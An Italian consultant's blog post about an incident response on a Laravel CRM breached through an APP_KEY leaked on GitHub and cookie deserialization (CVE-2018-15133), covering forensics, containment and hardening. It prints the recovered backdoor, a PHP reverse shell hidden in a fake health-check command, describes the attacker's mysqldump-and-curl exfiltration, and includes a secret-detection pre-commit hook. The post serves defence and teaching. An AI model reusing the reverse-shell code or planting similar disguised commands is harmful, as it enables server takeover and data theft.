Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni

Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni

A settembre 2025, il titolare di un'azienda di logistica industriale in provincia di Vicenza mi ha chiamato alle 7:20 di un martedì mattina con una frase che non lasciava spazio a interpretazioni: "I dati dei nostri clienti sono su un canale Telegram." Un suo commerciale aveva ricevuto un messaggio da un contatto sconosciuto con un file CSV contenente nomi, email, numeri di telefono e indirizzi di spedizione di 4.200 clienti - lo stesso formato, lo stesso ordine di colonne, gli stessi dati che stavano nella tabella customers del CRM aziendale. Il CRM era un'applicazione Laravel 9 custom, sviluppata tre anni prima da uno sviluppatore freelance e ospitata su un VPS Hetzner AX41 (Ryzen 5 3600, 64 GB RAM, 2×512 GB NVMe in RAID 1). L'applicazione era online, funzionante, nessun allarme. Ma qualcuno ci era entrato, aveva preso quello che voleva, e se n'era andato senza lasciare tracce ovvie.

I cinque giorni successivi sono stati il tipo di intervento che nessuno vorrebbe fare ma che ogni applicazione Laravel in produzione dovrebbe avere come piano documentato. Questo articolo descrive cosa ho trovato, come l'ho trovato, e cosa abbiamo fatto per contenere, ripristinare e blindare - in quest'ordine, perché l'ordine conta.

Come fa un attaccante a compromettere un'applicazione Laravel attraverso l'APP_KEY?

L'APP_KEY di Laravel è una stringa di 32 byte generata da php artisan key:generate e salvata nel file .env. Viene usata per cifrare e decifrare dati sensibili - sessioni, cookie, token. Se un attaccante ottiene l'APP_KEY, può decifrare qualunque dato cifrato dall'applicazione e, in determinate configurazioni, ottenere esecuzione remota di codice (RCE) sul server.

Il vettore di attacco specifico è documentato come CVE-2018-15133 e funziona così: la funzione decrypt() di Laravel deserializza automaticamente i dati decifrati. Se l'applicazione usa SESSION_DRIVER=cookie, l'attaccante può forgiare un cookie di sessione contenente un payload PHP serializzato malevolo - costruito con strumenti come phpggc - cifrarlo con l'APP_KEY nota, e inviarlo al server. Laravel decifra il cookie, deserializza il contenuto, e il payload viene eseguito con i privilegi dell'utente PHP-FPM. Da quel momento, l'attaccante ha una shell sul server.

La ricerca di GitGuardian pubblicata nel luglio 2025 ha documentato la scala del problema: oltre 260.000 APP_KEY estratte da repository GitHub tra il 2018 e il maggio 2025, di cui 400 validate come funzionanti su applicazioni in produzione. Più di 1.000 server erano compromettibili con una singola richiesta HTTP. Il 63% delle chiavi esposte proveniva da file .env committati per errore - e quei .env contenevano spesso anche credenziali database, token cloud e chiavi API di servizi terzi.

Sul CRM del cliente vicentino, il file .env era stato committato in un repository pubblico su GitHub dallo sviluppatore originale nel 2022 - su un fork personale del progetto, non sul repository del cliente. Lo sviluppatore aveva fatto un push del progetto completo, .env incluso, per mostrare il codice a un potenziale nuovo cliente. Il .env conteneva l'APP_KEY, le credenziali MySQL, la chiave SMTP e il token dell'API di spedizione. Due anni dopo, qualcuno l'ha trovato.

Stai cercando un Consulente Informatico esperto in incident response e sicurezza applicativa Laravel? Nel mio profilo professionale trovi l'esperienza concreta su forensics, contenimento e hardening di applicazioni web compromesse.

Le prime quattro ore: contenimento senza distruzione delle prove

La reazione istintiva di un titolare che scopre un data breach è "spegni tutto". È sbagliato. Spegnere il server distrugge la memoria volatile (processi attivi, connessioni di rete, sessioni correnti) che contiene le prove più preziose per capire cosa è successo. Il protocollo che applico nelle prime ore è esattamente l'opposto: mantenere il sistema acceso ma isolarlo.

Ora 0-1: isolamento di rete. Ho configurato il firewall (iptables) per bloccare tutto il traffico in entrata tranne la mia connessione SSH e il traffico HTTPS verso i client già connessi. L'applicazione è rimasta online in sola lettura - nessun nuovo login, nessuna nuova sessione, nessuna scrittura su database. Questo ha preservato sia l'operatività minima sia le prove.

Ora 1-2: snapshot. Ho creato un'immagine completa del filesystem con rsync su uno storage esterno, inclusi log del web server, log di Laravel (storage/logs/), log di MySQL, e la directory .git del progetto. Questa copia è la baseline forense - qualunque analisi successiva lavora su quella, mai sul sistema vivo.

Ora 2-4: prima ricognizione. Quattro comandi che eseguo sempre in quest'ordine:

# 1. File modificati nelle ultime 4 settimane (escludendo cache e log)
find /var/www/crm -type f -mtime -28 \
    -not -path "*/storage/framework/*" \
    -not -path "*/storage/logs/*" \
    -not -path "*/vendor/*" \
    -not -name "*.log" | sort

# 2. Cron job dell'utente www-data (backdoor comune)
crontab -u www-data -l

# 3. Processi PHP anomali
ps aux | grep -E 'php.*-(r|e|S)' | grep -v grep

# 4. Connessioni di rete attive dal processo PHP-FPM
ss -tnp | grep php-fpm

Il primo comando ha restituito una lista di 7 file modificati. Sei erano normali - cache Laravel, un file di configurazione aggiornato dal titolare la settimana prima. Il settimo era app/Console/Commands/SystemHealthCheck.php, un comando Artisan creato 12 giorni prima con un timestamp che non corrispondeva a nessun commit nel repository Git. La backdoor.

Forensics applicativa: trovare il punto di ingresso e mappare il danno

Il file SystemHealthCheck.php era una reverse shell mascherata da health check. Il codice sembrava innocuo a un'occhiata rapida - aveva un nome plausibile, un $signature appropriato, e persino un help text in italiano. Ma nel metodo handle(), dopo 40 righe di check reali (ping database, verifica spazio disco, stato coda), c'erano 8 righe che aprivano un socket verso un server esterno e passavano l'input a proc_open:

// Le prime 40 righe erano check legittimi, poi:
if ($this->option('deep')) {
    $sock = fsockopen('45.xxx.xxx.xxx', 4444);
    $proc = proc_open('/bin/bash', [
        0 => $sock, 1 => $sock, 2 => $sock
    ], $pipes);
}

L'opzione --deep non era documentata e non veniva mai chiamata dallo scheduler. Era un trigger manuale: l'attaccante poteva attivare la reverse shell a piacimento tramite una route nascosta aggiunta in routes/console.php.

La ricostruzione completa della catena di attacco, incrociando i log di Nginx, i log di Laravel e la timeline dei file modificati, è stata questa:

  1. 12 settembre, ore 03:14 UTC - Prima richiesta con cookie di sessione forgiato. L'access log di Nginx mostrava una POST su / con un cookie laravel_session di dimensione anomala (4,8 KB invece dei normali 200-300 byte). Il payload, ricostruito dalla copia forense, era un gadget chain generato con phpggc che scriveva un file PHP arbitrario in storage/app/.
  2. 03:14-03:17 - Quattro richieste successive che hanno creato i file della backdoor, aggiunto la route nascosta, e rimosso il file temporaneo in storage/app/.
  3. 14 settembre, ore 02:41 - Primo accesso alla reverse shell (--deep), durata 47 minuti. L'attaccante ha eseguito mysqldump customers > /tmp/c.csv e ha trasferito il file via curl verso un server esterno.
  4. 14 settembre, ore 03:28 - Pulizia: l'attaccante ha cancellato il file /tmp/c.csv e ha fatto un truncate sulla tabella sessions per rimuovere la propria sessione forgiata.

Il danno accertato: 4.200 record della tabella customers esfiltrati. Nessuna modifica ai dati - l'attaccante non aveva interesse a sabotare, voleva i dati per rivenderli.

L'analisi dettagliata di Synacktiv sulle implicazioni dell'APP_KEY compromise spiega perché questo vettore è particolarmente pericoloso: l'APP_KEY non solo abilita l'RCE via deserializzazione, ma permette anche di decifrare qualunque dato che l'applicazione ha cifrato con i metodi encrypt() / Crypt::encrypt() - password di servizi terzi, token OAuth, dati personali che lo sviluppatore pensava di aver "protetto" cifrandoli a livello applicativo.

Remediation: cinque giorni per tornare in sicurezza

Giorno 1 (contenimento): Isolamento di rete, snapshot forense, prima ricognizione. Completato nelle prime 4 ore come descritto sopra.

Giorno 2 (eradicazione): Rimozione della backdoor (SystemHealthCheck.php, route nascosta in routes/console.php). Verifica integrità di ogni file PHP nel progetto confrontando l'hash SHA256 con l'ultimo commit pulito del repository Git:

# Confronto hash di ogni file PHP con il repository pulito
cd /var/www/crm
for f in $(find app routes config -name '*.php'); do
    sha256sum "$f"
done > /tmp/prod_hashes.txt

cd /var/www/crm-clean-checkout
for f in $(find app routes config -name '*.php'); do
    sha256sum "$f"
done > /tmp/git_hashes.txt

diff /tmp/prod_hashes.txt /tmp/git_hashes.txt

Rotazione completa delle credenziali - operazione che su questo progetto ha richiesto 4 ore perché coinvolgeva 11 segreti distinti:

# Generare nuova APP_KEY (invalida tutte le sessioni attive)
php artisan key:generate --force

# Cambiare password MySQL
mysql -e "ALTER USER 'crm_app'@'localhost' IDENTIFIED BY '$(openssl rand -base64 32)';"

# Ruotare token SMTP, API spedizioni, webhook
# (ogni servizio ha il suo processo - nessuna scorciatoia)

Per chi deve gestire la rotazione delle credenziali su applicazioni Laravel, incluso il rehashing delle password utente, ho descritto le tecniche aggiornate nel mio articolo sulla rotazione chiavi e rehashing password da Laravel 9/10 a 12.

Giorno 3 (hardening applicativo): Cambio del SESSION_DRIVER da cookie a database - eliminando alla radice il vettore di deserializzazione che aveva consentito l'attacco. Questo è il singolo cambiamento più importante: con il driver database, i dati di sessione vengono salvati in una tabella MySQL e il cookie contiene solo l'ID della sessione - una stringa opaca che non trasporta dati serializzati e quindi non può essere usata come veicolo per gadget chain. Aggiunta di .env a .gitignore su tutti i repository collegati al progetto (era già presente sul repository principale, ma non sul fork personale dello sviluppatore). Configurazione di un pre-commit hook Git che blocca qualsiasi commit contenente pattern di segreti:

#!/bin/bash
# .git/hooks/pre-commit - blocca commit con segreti
PATTERNS="APP_KEY=base64|DB_PASSWORD=|MAIL_PASSWORD=|AWS_SECRET"
if git diff --cached --name-only | xargs grep -lE "$PATTERNS" 2>/dev/null; then
    echo "BLOCCATO: il commit contiene segreti. Rimuovili prima di committare."
    exit 1
fi

Questo hook è una misura di last resort - non sostituisce la pratica corretta di non avere mai segreti nel codice sorgente, ma intercetta l'errore umano nel momento in cui sta per diventare permanente.

Giorno 4 (hardening infrastrutturale): Segmentazione degli utenti MySQL (utente applicativo con soli permessi DML, utente deploy separato). Abilitazione di require_secure_transport su MySQL. Restrizione di PHP-FPM con disable_functions per proc_open, fsockopen, exec, system, passthru - le stesse funzioni usate dalla backdoor. Se un attaccante riesce a ottenere RCE ma le funzioni di esecuzione di comandi sono disabilitate, il danno si limita a quello che PHP può fare senza shell - lettura di file, query al database, ma nessuna reverse shell, nessun mysqldump, nessuna esfiltrazione massiva. Ho documentato il protocollo completo di risposta a incidenti su server PHP - dal contenimento alla forensics alla ripartenza - nel mio articolo sul sito PHP hackerato su Hetzner o OVH.

Giorno 5 (verifica e comunicazione): Penetration test manuale sull'applicazione per verificare che il vettore fosse effettivamente chiuso - ho tentato di riprodurre l'attacco con un nuovo cookie forgiato e il vecchio APP_KEY, confermando che la deserializzazione non era più possibile con il driver database. Scansione con composer audit per vulnerabilità note nelle dipendenze. Report al titolare con timeline dell'incidente, dati coinvolti e azioni correttive - documento necessario per la notifica al Garante Privacy ai sensi del GDPR (articolo 33, entro 72 ore dalla scoperta del breach). Per il framework completo di incident response con tempistiche NIS2 e template di notifica, ho scritto una guida dedicata sull'incident response in 72 ore per Laravel e Symfony.

La lezione più importante di questo incidente non è tecnica - è organizzativa. L'APP_KEY era stata esposta due anni prima da uno sviluppatore che non lavorava più al progetto. La vulnerabilità CVE-2018-15133 era nota dal 2018. Il SESSION_DRIVER=cookie era la configurazione di default che nessuno aveva mai cambiato. Tre errori banali, nessuno dei quali sarebbe stato rilevato da un vulnerability scanner, perché il problema non era nel codice dell'applicazione - era nella gestione dei segreti, nella configurazione e nel processo di onboarding/offboarding degli sviluppatori. Se la tua applicazione Laravel è in produzione da più di un anno, il primo check da fare oggi è verificare che il tuo .env non sia mai stato committato in nessun repository - pubblico o privato - con git log --all --full-history -- .env. Se quel comando restituisce anche un solo commit, la tua APP_KEY è da considerare compromessa, indipendentemente dal fatto che il commit sia stato successivamente rimosso. Git non dimentica - e nemmeno i bot che scansionano GitHub alla ricerca di segreti esposti. Il fatto che tu abbia rimosso il file con un commit successivo non cancella la sua presenza nella storia del repository: chiunque abbia clonato o forkato il repo prima della rimozione ha ancora accesso al tuo .env completo. L'unica remediation è ruotare tutti i segreti che quel file conteneva. Contattami se hai bisogno di un audit di sicurezza sulla tua applicazione Laravel: in due giornate verifico la catena dei segreti, la configurazione di sessione, le dipendenze e i permessi - e ti consegno un report con le azioni prioritarie ordinate per impatto e urgenza.

Ultima modifica: